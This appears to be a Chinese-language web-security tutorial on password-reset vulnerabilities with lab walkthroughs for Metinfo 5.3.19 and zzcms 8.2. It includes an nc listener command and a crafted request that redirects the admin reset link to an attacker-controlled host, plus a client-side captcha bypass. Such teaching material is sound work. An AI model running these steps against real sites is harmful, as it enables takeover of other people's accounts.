密码重置漏洞
概念
随着互联网的快速发展,在线支付业务的日渐成熟,大批的网上商城涌入互联网.为了方
便网上商城的快速上线,很多该类型的应用程序在未能严格审查源码的情况下就开始上线,导致很多逻辑错误类型的漏洞出现在应用程序中,而密码重置漏洞便是其中的一种。
漏洞位置在找回密码处,由于验证设计过于简单,而且对校验码的校验使用次数没有
进行限制,导致正确的验证码可以被枚举爆破,从而重置密码。此方法也是最常见的重置密
码的方式,因为大多数厂商最开始的设置都是采取的 4-6 位纯数字验证码的验证方式,而且是没有防止爆破的设计。
当然除了上述的由于验证不严格导致的密码重置案例,还有诸如:敏感信息泄露(把明
文密码通过 e-mail 发送给用户)重置密码消息劫持(攻击会者接收到密码重置信息)这些都是在密码重置功能中比较常见的漏洞
漏洞类型
相关参考:任意用户密码重置的10种姿势 | 阿德马Web安全
漏洞测试
实践操作
操作二 Metinfo 5.3.19管理员密码重置漏洞
环境准备
- 操作系统:Windows 2003 kali linux
- 网站环境:UPUPW 5.3
- 使用工具:burpsuite 1.6 beta
漏洞分析
- 密码重置过程中验证不严。
- 漏洞涉及到的几个文件分别是:
admin/admin/getpassword.php
include/common.inc.php
include/jmail.php
include/export.func.php
3.具体的文章分析可参照:【Web渗透】Metinfo 5.3.19 管理员密码重置漏洞分析 | h3h3da's Blog
漏洞验证利用
1.在攻击机上使用nc进行端口监听
nc -lvvp 80
2.配置浏览器代理
3.利用Burp Suite或者其他工具构造出如下的HTTP请求
POST /admin/admin/getpassword.php?met_host=IP地址 HTTP/1.1
4.点击“Go”发送请求数据,然后返回nc监听的主机,我们可以看到返回的响应信息,其中便包含着密码重置的链接。
5.将获取到的密码重置链接复制到浏览器中访问,即可重置管理员admin的密码口令。
操作三 zzcms 8.2前台密码重置漏洞
环境准备
- 操作系统:Windows 2003
- 网站环境:UPUPW 5.3
- 使用工具:burpsuite 1.6 beta
漏洞分析
- 漏洞的原因是,程序是通过前端的代码来最终判断验证码是否正确,但是开发者却忽视了前端代码我们是可以控制的,因此可以绕过验证码,从而可以重置密码。
- 涉及到的漏洞代码文件:
ajax/ajax/yzm_check_ajax.php
- 可参考该文章
漏洞验证利用
1.首先注册一个普通用户test,密码为123456。
2.注册成功后,访问会员登录页面,点击“忘记密码”选项。
3.跳转到“找回密码”页面,按照提示输入我们想要重置账户名(test)
4.进入第二步“进行安全验证”随意填写一个验证码,例如1234等等,确保输入后点击
下一步一定要快,在出现下方红色的警告前,点击下一步,可绕过验证,进入到重置密码界面。
5.按照提示输入新密码,便可重置test账户的密码口令。
https://pino-hd.github.io/2018/06/19/zzcms8-2%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE/
https://bbs.ichunqiu.com/thread-35237-1-1.html